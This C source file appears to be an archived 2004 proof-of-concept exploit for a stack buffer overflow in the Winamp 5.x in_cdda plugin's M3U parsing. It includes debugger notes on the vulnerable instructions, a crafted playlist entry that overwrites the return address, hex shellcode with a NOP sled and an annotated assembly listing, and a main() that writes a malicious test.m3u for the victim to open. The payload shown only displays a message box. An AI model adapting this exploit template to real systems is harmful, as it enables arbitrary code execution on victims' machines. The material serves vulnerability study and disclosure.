111 lines
No EOL
3.3 KiB
C
111 lines
No EOL
3.3 KiB
C
/*
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Credits go to the author
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How to fix and study the bug:
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* - The cdda library only reserves 20 bytes for names when files are "*.cda"
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* - run Winamp with ollye
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* - when loaded locate and break at:
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10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
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10009BBF 84C0 TEST AL,AL
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10009BC1 74 0F JE SHORT in_cdda.10009BD2
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10009BC3 3C 2E CMP AL,2E
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10009BC5 74 0B JE SHORT in_cdda.10009BD2
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that code copies and overwrites the stack if no '.' is found in the
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first 20 bytes of the m3u entry. Entry must not have #EXTINF data or
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it won't resolve.
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* - name that entry like "C:\\1234567890abXXXX.cda" and xxxx will be your return address.
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stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
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* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
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field Location of shellcode (see host info). In my case it's x1002355b.
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*/
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#include <stdio.h> //File ops.
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//m3u File format
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//http://hanna.pyxidis.org/tech/m3u.html
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// Host info:
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// Name=ntdll (system)
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// File version=5.1.2600.1217 (xpsp2.030429-213)
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// Path=H:\WINDOWS\System32\ntdll.dll
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// Name=in_cdda
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// Base=10000000
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// Size=00031000 (200704.)
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// Entry=1000CE1A in_cdda.<ModuleEntryPoint>
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// Path=H:\Archivos de programa\Winamp\Plugins\in_cdda.dll
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#define HEADER "#EXTM3U\n"
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//Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213
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//Address of MessageBoxA in xpsp2.030429-213: 77D3b064
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char shellcode[]=
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"C:\\1234567890ab" //Padding
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"\x5b\x35\x02\x10" //Location of shellcode : +-x10 bytes
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8"
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"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
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"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68\x42\x6f"
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"\x6f\x6d\x54\x5a\x50\x50\x52\x50\x53\x51\xc3.cda\n\r";
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//Shellcode:
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//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
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//2D 11111111 SUB EAX,11111111 ; Make characters readable
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//50 PUSH EAX ; xchg registers : eax = 77D3b064
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//59 POP ECX ; Offset to API.
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//33C0 XOR EAX,EAX ; Create Null
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//50 PUSH EAX ; Put ascii0 end of string
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//68 61616161 PUSH 6d6f6f42 ; Create string.
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//54 PUSH ESP ; Get the offset to the
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//5A POP EDX ; Message String
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//MessageBox call
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//50 PUSH EAX ; Null Pointer
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//50 PUSH EAX ; Null Pointer
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//52 PUSH EDX ; Message
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//50 PUSH EAX ; Null Pointer
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//53 PUSH EBX ; Return address: 0x00000000
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//51 PUSH ECX ; Address of MessageBoxA
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//C3 RETN ; Jump
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int main(int argc, char* argv[]) {
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FILE *fp;
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char *sc=(char *)malloc(sizeof(shellcode)+1);
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printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore\n");
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printf ("Exploit : www.k-otik.com/exploits/20041124.winampm3u.c\n");
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printf ("Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213\n");
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printf ("Address of MessageBoxA in xpsp2.030429-213: 77D3b064\n");
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printf ("Tested on Winamp 5.02\n\n");
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if (sc == NULL) {
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printf ("malloc error\n");
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return -1;
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}
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memset(sc,'\0',sizeof(sc));
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memcpy(sc, shellcode, sizeof(shellcode) );
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fp = fopen ("test.m3u","w+");
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if (!fp) {
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printf (" error opening file.\n");
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return -1;
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}
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fwrite (HEADER, 1, strlen (HEADER), fp);
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fwrite (sc , 1, strlen(sc) , fp);
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fclose (fp);
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printf ("file test.m3u created. Just double click it.\n");
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return 0;
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}
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// milw0rm.com [2004-11-24]
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